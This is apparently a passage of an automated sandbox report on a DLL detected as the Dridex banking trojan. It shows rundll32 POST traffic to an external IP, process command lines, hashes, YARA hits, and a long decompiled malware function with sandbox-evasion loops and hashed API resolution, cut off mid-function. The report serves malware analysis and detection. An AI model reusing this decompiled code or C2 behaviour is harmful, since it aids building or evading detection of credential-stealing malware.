6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:55 UTC	447	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:55 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.5	49789	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:51:17 UTC	44	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:51:17 UTC	44	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:51:18 UTC	54	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:51:17 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.5	50151	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:56 UTC	447	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:56 UTC	447	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:57 UTC	452	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:57 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.5	50155	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:58 UTC	452	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:58 UTC	452	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:59 UTC	457	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:59 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 5588 Parent PID: 5748

General

Start time:	04:49:53
Start date:	28/10/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.28061.dll'
Imagebase:	0x13a0000
File size:	893440 bytes
MD5 hash:	72FCD8FB0ADC38ED9050569AD673650E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000000.00000003.373914739.00000000016F0000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 2268 Parent PID: 5588

General

Start time:	04:49:54
Start date:	28/10/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.28061.dll',#1
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2036 Parent PID: 5588

General

Start time:	04:49:55
Start date:	28/10/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.28061.dll,Bluewing
Imagebase:	0x1310000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000003.00000003.323665839.0000000000ED0000.00000040.00000010.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5584 Parent PID: 2268

General

Start time:	04:49:55
Start date:	28/10/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.28061.dll',#1
Imagebase:	0x1310000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000004.00000003.326244435.0000000004CB0000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000004.00000002.772113565.000000006EB91000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2888 Parent PID: 5588

General

Start time:	04:50:00
Start date:	28/10/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.28061.dll,Earth
Imagebase:	0x1310000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000005.00000003.362350456.0000000000CE0000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6116 Parent PID: 5588

General

Start time:	04:50:11
Start date:	28/10/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.28061.dll,Masterjust
Imagebase:	0x1310000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000007.00000003.370833938.0000000004CA0000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: loaddll32.exe PID: 5588 Parent PID: 5748 loaddll32.exeCOMMON

Executed Functions

Function 6EB951A7, Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 235
sleepCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E6EB951A7(void* __edi, signed int __esi) {
				void* _t190;
				signed int _t192;
				signed int _t198;
				signed int _t200;
				void* _t203;
				signed int _t211;
				signed int _t221;
				signed int _t222;
				signed int _t223;
				signed int _t224;
				signed int _t229;
				signed int _t230;
				signed int _t231;
				signed int _t232;
				signed int _t239;
				intOrPtr _t240;
				intOrPtr* _t244;
				void* _t259;
				void* _t269;
				intOrPtr _t272;
				signed int _t282;
				signed int _t286;
				void* _t301;
				intOrPtr* _t302;
				signed int _t305;
				unsigned int _t309;
				intOrPtr _t312;
				signed short* _t313;
				signed int _t316;
				signed int _t333;
				signed int _t334;
				signed int _t339;
				char* _t347;
				char _t349;
				signed int _t360;
				signed int _t361;
				void* _t362;
				void* _t363;
				void* _t364;
				signed int _t368;
				signed int _t369;
				signed int _t372;
				signed int _t373;
				void* _t378;
				signed int _t379;
				intOrPtr* _t434;
				intOrPtr* _t442;
				signed int _t457;
				signed int _t459;
				signed int _t462;
				signed int _t494;
				signed int _t496;
				intOrPtr* _t502;
				signed int _t503;
				signed int _t523;
				signed int _t527;
				void* _t532;
				signed int _t533;
				void* _t540;
				void* _t541;
				void* _t542;
				void* _t543;
				intOrPtr* _t544;
				intOrPtr* _t545;
				void* _t548;
				intOrPtr _t551;
				intOrPtr _t552;
				intOrPtr* _t553;

				_t530 = __esi;
				_t526 = __edi;
				E6EBB5CB0(_t553 + 0xdc, 3, 0x28, 0x64);
				_t361 = 0;
				_t540 = _t553 + 0x1e4;
				while(1) {
					E6EBB5CB0(_t540, 3, 0x14, 0x50);
					OutputDebugStringA( *(_t553 + 0x1e4));
					Sleep(0xa);
					E6EBB0B10(_t540);
					_t361 = _t361 + 1;
					if(_t361 >= 0xbebbe7c) {
						break;
					}
					while(_t361 >= 0x137b) {
						_t361 = _t361 + 1;
						if(_t361 < 0xbebbe7c) {
							continue;
						} else {
							OutputDebugStringA( *(_t553 + 0xd4));
						}
						goto L5;
					}
				}
				L5:
				_t362 = 0;
				_t541 = _t553 + 0x1ec;
				while(1) {
					E6EBB5CB0(_t541, 3, 0x14, 0x50);
					OutputDebugStringA( *(_t553 + 0x1ec));
					Sleep(0xa);
					E6EBB0B10(_t541);
					_t362 = _t362 + 1;
					if(_t362 >= 0xbebbe7c) {
						break;
					}
					while(_t362 >= 0x137b) {
						_t362 = _t362 + 1;
						if(_t362 < 0xbebbe7c) {
							continue;
						} else {
							OutputDebugStringA( *(_t553 + 0xd4));
						}
						goto L10;
					}
				}
				L10:
				_t363 = 0;
				_t542 = _t553 + 0x1f4;
				while(1) {
					E6EBB5CB0(_t542, 3, 0x14, 0x50);
					OutputDebugStringA( *(_t553 + 0x1f4));
					Sleep(0xa);
					E6EBB0B10(_t542);
					_t363 = _t363 + 1;
					if(_t363 >= 0xbebbe7c) {
						break;
					}
					while(_t363 >= 0x137b) {
						_t363 = _t363 + 1;
						if(_t363 < 0xbebbe7c) {
							continue;
						} else {
							OutputDebugStringA( *(_t553 + 0xd4));
						}
						goto L15;
					}
				}
				L15:
				_t364 = 0;
				_t543 = _t553 + 0x1fc;
				while(1) {
					E6EBB5CB0(_t543, 3, 0x14, 0x50);
					OutputDebugStringA( *(_t553 + 0x1fc));
					Sleep(0xa);
					E6EBB0B10(_t543);
					_t364 = _t364 + 1;
					if(_t364 >= 0xbebbe7c) {
						break;
					}
					while(_t364 >= 0x137b) {
						_t364 = _t364 + 1;
						if(_t364 < 0xbebbe7c) {
							continue;
						} else {
							OutputDebugStringA( *(_t553 + 0xd4));
						}
						goto L20;
					}
				}
				L20:
				E6EBB0B10(_t553 + 0xd4);
				_push(0x755aa3f0);
				if(E6EBA7560() != 0) {
					_t347 = E6EBA15C0(0x588ab3ea, 0x1be15feb);
					if( *_t347 == 0xe9) {
						_t149 =  *((intOrPtr*)(_t347 + 1)) + 5; // 0x5
						_t378 = _t347 + _t149;
						_t494 = E6EBA15C0(0x588ab3ea, 0x3b4caff7);
						__eflags = _t494;
						if(_t494 == 0) {
							L137:
							_t551 =  *0x6ebc9414; // 0x3f7883
							_t349 =  *0x6ebc941a; // -16
							 *((intOrPtr*)(_t553 + 0xdc)) = _t551;
							 *((short*)(_t553 + 0xe0)) =  *0x6ebc9418 & 0x0000ffff;
							 *((char*)(_t553 + 0xe2)) = _t349;
							_t530 =  *(_t553 + 0x6c);
							_t552 =  *((intOrPtr*)(_t553 + 0x78));
							while(1) {
								_push(0x3f);
								_push(7);
								_push(_t553 + 0xe4);
								_t379 = E6EBA0DA0(_t530, _t552);
								__eflags = _t379;
								if(_t379 == 0) {
									goto L23;
								}
								 *(_t553 + 0xec) = _t379;
								 *((intOrPtr*)(_t553 + 0xf0)) = 0x10;
								_t552 = _t552 -  ~_t530 + _t379 + 7;
								 *((intOrPtr*)(_t553 + 0xf4)) = 0x40;
								_t160 = _t379 + 7; // 0x7
								_t530 = _t160;
								_t496 = E6EBA15C0(0x588ab3ea, 0x649746ec);
								__eflags = _t496;
								if(_t496 != 0) {
									_t526 = _t553 + 0xf0;
									 *_t496(0xffffffff, _t553 + 0xec, _t553 + 0xf0,  *((intOrPtr*)(_t553 + 0xf8)), _t553 + 0xf4);
								}
								 *((char*)(_t379 + 5)) = 0x90;
								 *((char*)(_t379 + 4)) = 0x90;
								_t523 = E6EBA15C0(0x588ab3ea, 0x649746ec);
								__eflags = _t523;
								if(_t523 != 0) {
									_t526 = _t553 + 0xec;
									 *_t523(0xffffffff, _t553 + 0xec, _t553 + 0xf0,  *((intOrPtr*)(_t553 + 0xf8)), _t553 + 0xf4);
								}
							}
							goto L23;
						} else {
							_t360 =  *_t494(0xffffffff, _t378, 0, _t553 + 0x6c, 0x1c, 0);
							__eflags = _t360;
							if(_t360 != 0) {
								goto L23;
							} else {
								goto L137;
							}
						}
						L143:
					}
				}
				L23:
				E6EB91270(_t526, _t530);
				 *((intOrPtr*)(_t553 + 0x12c)) = 0x2800;
				_push(0x2800);
				E6EBB9350(_t553 + 0xfc);
				_t544 = E6EBB9640(_t553 + 0xfc, 0);
				_t502 = E6EBA15C0(0xd93f3271, 0xa1ee59b);
				if(_t502 != 0) {
					 *_t502(_t544, _t553 + 0x12c); // executed
				}
				if(_t544 != 0) {
					_t530 = 0x4b005452;
					do {
						if(( *((intOrPtr*)(_t544 + 0x194)) - _t530 | ( *(_t544 + 0x198) & 0x0000ffff) - 0x000031a1) == 0) {
							L6EB95150();
						}
						_t544 =  *_t544;
					} while (_t544 != 0);
				}
				E6EBB9510(_t553 + 0xf8);
				E6EBA8810(_t553 + 0x108, 0);
				 *0x6ebcb1c8 = _t553 + 0x108;
				_t190 = E6EBA15C0(0xa1310f65, 0xe10858ef);
				if(_t190 == 0) {
					__eflags = 0;
					_t192 = E6EBA15C0(0x1b47f147, 0x4c00b324);
					__eflags = _t192;
					if(_t192 == 0) {
						 *0x6ebcb1d0 = 0;
						_t545 = E6EBA3930(0, 0, _t526, _t530);
						__eflags =  *_t545 - 0x10;
						if( *_t545 < 0x10) {
							L6EB95150();
						}
						E6EB96020(0);
						E6EBA8810(_t553 + 0x114, 0x200);
						_t503 = E6EBA15C0(0xa1310f65, 0xc4d11e8a);
						__eflags = _t503;
						if(_t503 != 0) {
							_t339 =  *(_t553 + 0x114) >> 1;
							__eflags = _t339;
							 *_t503(0,  *(_t553 + 0x114), _t339);
						}
						E6EBA2580(_t553 + 0x118, _t526, _t530);
						_t198 = E6EBA9C70(_t553 + 0x114, _t526,  *((intOrPtr*)(_t553 + 0x118)));
						__eflags = _t198;
						if(_t198 == 0) {
							E6EBA2780(_t553 + 0xe4, _t526, _t530);
							_t200 = E6EBA9C70(_t553 + 0x114, _t526,  *((intOrPtr*)(_t553 + 0xe4)));
							__eflags = _t200;
							if(_t200 == 0) {
								E6EBA2580(_t553 + 0xb4, _t526, _t530);
								_t530 = _t553 + 0x98;
								E6EBAD980(_t553 + 0xbc, _t553 + 0x98, 0x5c);
								_t203 = E6EBB7600(_t553 + 0x98, 2);
								E6EB9AC00(_t553 + 0xbc, 6);
								E6EBA8CC0(_t203,  *((intOrPtr*)(_t553 + 0xbc)));
								E6EBA8CA0(_t553 + 0xbc);
								E6EBB89F0(_t530, _t553 + 0x124, 0x5c);
								E6EBB8910(_t530, _t526, _t530);
								E6EBA8CA0(_t553 + 0xb4);
								_t211 = E6EBA9C70(_t553 + 0x114, _t526,  *((intOrPtr*)(_t553 + 0x120)));
								__eflags = _t211;
								_t46 = _t211 > 0;
								__eflags = _t46;
								_t368 = 0 | _t46;
								E6EBA8CA0(_t553 + 0x120);
							} else {
								_t368 = 1;
							}
							E6EBA8CA0(_t553 + 0xe4);
							E6EBA8CA0(_t553 + 0x118);
							__eflags = _t368;
							if(_t368 == 0) {
								_t369 = 0;
								__eflags = 0;
							} else {
								goto L46;
							}
						} else {
							E6EBA8CA0(_t553 + 0x118);
							L46:
							_t369 = 1;
						}
						E6EB9AC00(_t553 + 0x120, 2);
						E6EBAD980(_t553 + 0x128, _t553 + 0x130, 0x7e);
						E6EBA8CA0(_t553 + 0x120);
						__eflags =  *(_t553 + 0x130);
						if( *(_t553 + 0x130) > 0) {
							 *_t553 = _t545;
							__eflags = 0;
							_t527 = _t553 + 0x130;
							while(1) {
								L50:
								_t333 = E6EBA15C0(0xa1310f65, 0xf3af54a7);
								__eflags = _t333;
								if(_t333 != 0) {
									LoadLibraryW( *(E6EBB7600(_t527, _t530))); // executed
								}
								_t334 =  *(_t553 + 0x130);
								while(1) {
									L53:
									_t530 = 1;
									__eflags = 1 - _t334;
									if(1 >= _t334) {
										break;
									}
									__eflags = 1 - 4;
									if(1 != 4) {
										goto L50;
									} else {
										_t506 =  *0x6ebcb02a & 0x000000ff;
										__eflags = ( *0x6ebcb02a & 0x000000ff) - 2;
										if(( *0x6ebcb02a & 0x000000ff) == 2) {
											continue;
										} else {
											while(1) {
												L50:
												_t333 = E6EBA15C0(0xa1310f65, 0xf3af54a7);
												__eflags = _t333;
												if(_t333 != 0) {
													LoadLibraryW( *(E6EBB7600(_t527, _t530))); // executed
												}
												_t334 =  *(_t553 + 0x130);
												goto L53;
											}
										}
									}
									goto L58;
								}
								_t545 =  *_t553;
								goto L58;
							}
						}
						L58:
						__eflags =  *((intOrPtr*)(_t545 + 0x2c)) - 2;
						if( *((intOrPtr*)(_t545 + 0x2c)) != 2) {
							__eflags =  *0x6ebcb028 & 0x000000ff;
							if(( *0x6ebcb028 & 0x000000ff) == 0) {
								__eflags =  *0x6ebcb265 & 0x000000ff;
								if(( *0x6ebcb265 & 0x000000ff) == 0) {
									__eflags =  *0x6ebcb1cc - 1;
									if( *0x6ebcb1cc != 1) {
										_t312 =  *0x6ebcb1d0; // 0x160fc90
										_t313 =  *(_t312 + 4);
										_t506 =  *_t313 & 0x0000ffff;
										__eflags = ( *_t313 & 0x0000ffff) - 0x2d;
										if(( *_t313 & 0x0000ffff) != 0x2d) {
											E6EBA8AB0(_t553 + 0xcc, _t313, 0);
											_push(0x80);
											_push(0);
											E6EBBA4E0(_t553 + 0x68, __eflags,  *((intOrPtr*)(_t553 + 0xd0)), 1);
											_t316 = E6EBBBEA0(_t553 + 0x64, _t506, _t530);
											__eflags = _t316;
											if(_t316 == 0) {
												__eflags =  *((char*)(_t553 + 0x68));
												if( *((char*)(_t553 + 0x68)) != 0) {
													E6EBBBE30(_t553 + 0x64, _t530);
												}
												E6EBA8CA0(_t553 + 0x58);
												_t533 = 0;
												__eflags = 0;
												while(1) {
													__eflags = E6EBBA730(_t553 + 0xc4, _t506);
													if(__eflags == 0) {
														break;
													}
													E6EBA22A0(0x64, _t506);
													_t533 = _t533 + 1;
													__eflags = _t533 - 0x64;
													if(__eflags < 0) {
														continue;
													}
													break;
												}
												_t530 = _t553 + 0xcc;
												do {
													L6EBAAE80(_t553 + 0xcc, __eflags, _t530, 0x5c);
													E6EBA8CC0(_t553 + 0xc8,  *(_t553 + 0xcc));
													E6EBA8CA0(_t530);
													__eflags = E6EBBA730(_t553 + 0xc4, _t506);
												} while (__eflags == 0);
											} else {
												__eflags =  *((char*)(_t553 + 0x68));
												if( *((char*)(_t553 + 0x68)) != 0) {
													E6EBBBE30(_t553 + 0x64, _t530);
												}
												E6EBA8CA0(_t553 + 0x58);
											}
											E6EBA8CA0(_t553 + 0xc4);
										}
									}
								}
							}
							__eflags = ( *0x6ebcb02a & 0x000000ff) - 2;
							if(( *0x6ebcb02a & 0x000000ff) == 2) {
								L87:
								_t221 =  *0x6ebcb1ad; // 0x17a1fe8
								__eflags = _t221;
								if(_t221 == 0) {
									L89:
									_t222 =  *0x6ebcb1ad; // 0x17a1fe8
									__eflags = _t222;
									if(_t222 == 0) {
										_push(0x10);
										_t223 = E6EBA1030();
										_t553 = _t553 + 4;
										__eflags = _t223;
										if(_t223 != 0) {
											_push(0);
											_t224 = E6EBB9350(_t223);
										} else {
											_t224 = 0;
										}
										 *0x6ebcb1ad = _t224;
									}
									_t530 =  *0x6ebcb1ad; // 0x17a1fe8
									__eflags = ( *0x6ebcb02a & 0x000000ff) - 1;
									if(( *0x6ebcb02a & 0x000000ff) == 1) {
										_t506 = 0x18f8c844;
										_t527 = _t553 + 0x28;
										E6EB96AD0(_t369, _t527, 0x18f8c844, _t527, _t530, 1, 0);
										_push(_t527);
										E6EBB9520(_t530);
										E6EBB9510(_t527);
									} else {
										E6EBB9710(_t530, 0x6ebcb02d,  *0x6ebcb02b & 0x0000ffff);
									}
								} else {
									_t459 =  *0x6ebcb1ad; // 0x17a1fe8
									_t286 = E6EBB9660(_t459);
									__eflags = _t286;
									if(_t286 != 0) {
										goto L89;
									}
								}
								_t229 =  *0x6ebcb1b1; // 0x0
								__eflags = _t229;
								if(_t229 == 0) {
									L95:
									_t230 =  *0x6ebcb1b1; // 0x0
									__eflags = _t230;
									if(_t230 == 0) {
										_push(0x10);
										_t231 = E6EBA1030();
										_t553 = _t553 + 4;
										__eflags = _t231;
										if(_t231 != 0) {
											_push(0);
											_t232 = E6EBB9350(_t231);
										} else {
											_t232 = 0;
										}
										 *0x6ebcb1b1 = _t232;
									}
									_t527 =  *0x6ebcb1b1; // 0x0
									__eflags = ( *0x6ebcb02a & 0x000000ff) - 1;
									if(( *0x6ebcb02a & 0x000000ff) == 1) {
										_t506 = 0x11041f01;
										E6EB96AD0(_t369, _t553 + 0x38, 0x11041f01, _t527, _t530, 1, 1);
										_push(_t553 + 0x38);
										E6EBB9520(_t527);
										E6EBB9510(_t553 + 0x38);
										_t239 = E6EBB9650(_t527);
										__eflags = _t239;
										if(_t239 != 0) {
											_t506 = 0xd3ef7577;
											E6EB96AD0(_t369, _t553 + 8, 0xd3ef7577, _t527, _t530, 0, 0);
											E6EBB9510(_t553);
										}
									} else {
										_t530 =  *0x6ebcb1c4; // 0x6eb90000
										__eflags =  *((char*)(E6EBA3930(_t369, 0, _t527, _t530) + 0xb)) - 0x20;
										_t515 =  ==  ? 0x7e839a6 : 0x93fc68d6;
										_t506 = _t530;
										E6EB99090(_t553 + 0x88, _t530,  ==  ? 0x7e839a6 : 0x93fc68d6);
										_push(_t553 + 0x88);
										E6EBB9520(_t527);
										E6EBB9510(_t553 + 0x88);
									}
								} else {
									_t457 =  *0x6ebcb1b1; // 0x0
									_t282 = E6EBB9660(_t457);
									__eflags = _t282;
									if(_t282 != 0) {
										goto L95;
									}
								}
								_t240 =  *((intOrPtr*)(_t545 + 0x2c));
								__eflags = _t240 - 3;
								if(_t240 == 3) {
									__eflags =  *0x6ebcb1cc - 3;
									if( *0x6ebcb1cc == 3) {
										E6EBA8CC0(_t553 + 0x10c,  *((intOrPtr*)( *0x6ebcb1d0 + 8)));
									}
									_t370 = _t553 + 0x48;
									E6EBA8810(_t553 + 0x48, 0);
									_t244 = E6EBA9890(_t370, _t553 + 0x48, _t506, _t527, _t530, _t370, 0x6ebc9428,  *((intOrPtr*)(_t545 + 0x2c)));
									E6EBB0220(_t553 + 0x110,  *_t244, 0);
									E6EBA8CA0(_t370);
									L6EB98180(_t530);
								} else {
									__eflags = _t240 - 5;
									if(_t240 != 5) {
										__eflags = _t240 - 6;
										if(__eflags == 0) {
											_t434 = _t553 + 0xa4;
											 *_t434 = 0;
											 *((intOrPtr*)(_t434 + 4)) = 0;
											 *((intOrPtr*)(_t434 + 8)) = 0;
											 *((intOrPtr*)(_t434 + 0xc)) = 0;
											L6EBA5B60(_t369, _t434, _t527, _t530, __eflags);
											E6EB96740(_t553 + 0xa4);
											E6EBA1350(0x12);
											__eflags =  *(_t553 + 0xa8);
											if( *(_t553 + 0xa8) > 0) {
												_t372 = 0;
												__eflags = 0;
												do {
													_t259 = E6EBC2B00(_t553 + 0xa8, _t372);
													__eflags =  *((char*)(_t259 + 0x3c));
													if( *((char*)(_t259 + 0x3c)) == 0) {
														E6EB92A40(_t553 + 0x50, _t259);
														E6EBA8CA0(_t553 + 0x50);
													}
													_t372 = _t372 + 1;
													__eflags = _t372 -  *(_t553 + 0xa8);
												} while (_t372 <  *(_t553 + 0xa8));
											}
											E6EBC2970(_t369, _t553 + 0xa4, _t527);
											_t438 =  *(_t553 + 0xb0);
											__eflags =  *(_t553 + 0xb0);
											if( *(_t553 + 0xb0) != 0) {
												E6EB92A20(_t438, 1);
											}
										}
									} else {
										__eflags = _t369;
										if(_t369 == 0) {
											__eflags =  *0x6ebcb1cc - 1;
											if(__eflags <= 0) {
												L104:
												_t442 = _t553 + 0x18;
												 *_t442 = 0;
												 *((intOrPtr*)(_t442 + 4)) = 0;
												 *((intOrPtr*)(_t442 + 8)) = 0;
												 *((intOrPtr*)(_t442 + 0xc)) = 0;
												L6EBA5B60(_t369, _t442, _t527, _t530, __eflags);
												__eflags = ( *0x6ebcb029 & 0x000000ff) - 1;
												E6EB97DB0(_t553 + 0x18, 0 | ( *0x6ebcb029 & 0x000000ff) - 0x00000001 > 0x00000000);
												__eflags =  *0x6ebcb029 & 0x000000ff;
												if(( *0x6ebcb029 & 0x000000ff) != 0) {
													E6EBA1350(0x12);
													__eflags =  *(_t553 + 0x1c);
													if( *(_t553 + 0x1c) > 0) {
														_t373 = 0;
